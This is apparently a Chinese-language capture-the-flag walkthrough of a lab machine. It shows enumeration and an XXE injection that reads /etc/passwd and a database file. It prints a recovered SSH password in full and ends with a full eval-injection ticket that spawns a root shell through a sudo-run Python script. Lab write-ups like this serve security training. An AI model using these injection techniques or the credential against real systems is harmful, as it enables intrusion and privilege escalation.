Enumeration
nmap
第一次扫描发现系统对外开放了21,22,80端口,端口详细信息如下
和以前一样,先从80端口的http服务开始探索
TCP/80
访问站点,主页有三个按钮,about,contact和portal。看起来像是一个安全研究,漏洞悬赏这一类的网站
点击about按钮,会滚动网页到对应地方,有更详细的介绍,介绍团队是针对系统漏洞的赏金猎人,如果感兴趣可以联系,还提到了团队成员掌握了缓冲区溢出漏洞,在最下面有一个报价表下载的按钮
点击contact会转到一个留言板
点击portal进入一个很简单的页面
点击here跳转到一个log_submit.php表单
dirsearch
先暂时放着,扫描一下web目录,看看有没有其他发现
dirsearch -u "http://10.10.11.100"
扫描发现只有这几个响应是200,但是并没有发现什么有意思的东西,db.php是空白的
resources下有readme.txt
但是并没有发现有意思的东西
Foothold
XML外部实体注入(XXE)
刚才还发现了log_submit.php,是一个表单,填写完内容点击提交后显示,如果DB准备好,将会添加下列信息,又出现了db,刚刚还发现了db.php
在burpsuite中可以发现,在提交这个包时对data进行了编码
尝试使用CyberChef去解码,先解一遍url,然后解base64,得到了结果,发现请求包中的数据是xml格式的
尝试利用xxe来检索文件,参考XML External Entity - Payloads All The Things
根据xml头,选择这个paylaod
编辑payload,然后对代码进行base64编码,在转化成url编码
将编码内容作为data的值发送,服务器响应后返回/etc/passwd文件
再次尝试,看看能否直接读取db.php文件的内容,但是失败了,而读取index.php也不行,查看别人的payload,发现有可能是因为无法将php代码处理为xml实体,所以使用了php过滤器
和刚才的方法一样,先编码
然后发送请求,得到的响应是被base64编码过的
将响应包中的内容解码得到了db.php的内容,可以看到有一些登录凭证
刚才在查看/etc/passwd时发现能登陆的用户只有root和development,考虑密码复用,尝试使用ssh连接远程主机,尝试development:m19RoAU0hP41A1sTsq6K时成功,可以找到user.txt
Privilege Escalation
在development目录下不仅发现了user.txt,还发现了contract.txt
该文件写有一段话,其中提到了有关 John 与 Skytrain Inc 的合同以及“rm -rf”事件的信息。还建议了我们可以研究的内部工具。
尝试在系统中搜索有关Skytrain Inc的东西
发现了留下的信息中提到的东西,进入该目录,发现了一个python脚本和一个无效票据目录
在刚刚的提示中还说了给了权限,猜测有可能与sudo有关,发现确实如此
首先看看python脚本中到底写了什么,可以看到一开始就要打开文件,匹配文件后缀为.md,而invalid_tickets中就有四个后缀名为.md的文件
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.def load_file(loc):if loc.endswith(".md"):return open(loc, 'r')else:print("Wrong file type.")exit()def evaluate(ticketFile):#Evaluates a ticket to check for ireggularities.code_line = Nonefor i,x in enumerate(ticketFile.readlines()):if i == 0:if not x.startswith("# Skytrain Inc"):return Falsecontinueif i == 1:if not x.startswith("## Ticket to "):return Falseprint(f"Destination: {' '.join(x.strip().split(' ')[3:])}")continueif x.startswith("__Ticket Code:__"):code_line = i+1continueif code_line and i == code_line:if not x.startswith("**"):return FalseticketCode = x.replace("**", "").split("+")[0]if int(ticketCode) % 7 == 4:validationNumber = eval(x.replace("**", ""))if validationNumber > 100:return Trueelse:return Falsereturn Falsedef main():fileName = input("Please enter the path to the ticket file.\n")ticket = load_file(fileName)#DEBUG print(ticket)result = evaluate(ticket)if (result):print("Valid ticket.")else:print("Invalid ticket.")ticket.closemain()
如果文件名能够匹配,就检查文件中的内容,检查第一行是不是"# Skytrain Inc",检查第二行是不是"## Ticket to ",检查有没有"__Ticket Code:__",在ticket行必须以"**"开头,ticket除以7的余数必须等于4,满足这个条件,则会调用eval函数删除"**"……
先尝试使用python脚本处理一张无效票据
在无效票据的基础上创建一张有效的
因为python脚本执行了危险函数eval,可以尝试导入os模块,并调用system函数来提权,编写md文件如下
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**18+410+__import__('os').system('bash')**
##Issued: 2021/04/06
#End Ticket
执行命令后成功获取root权限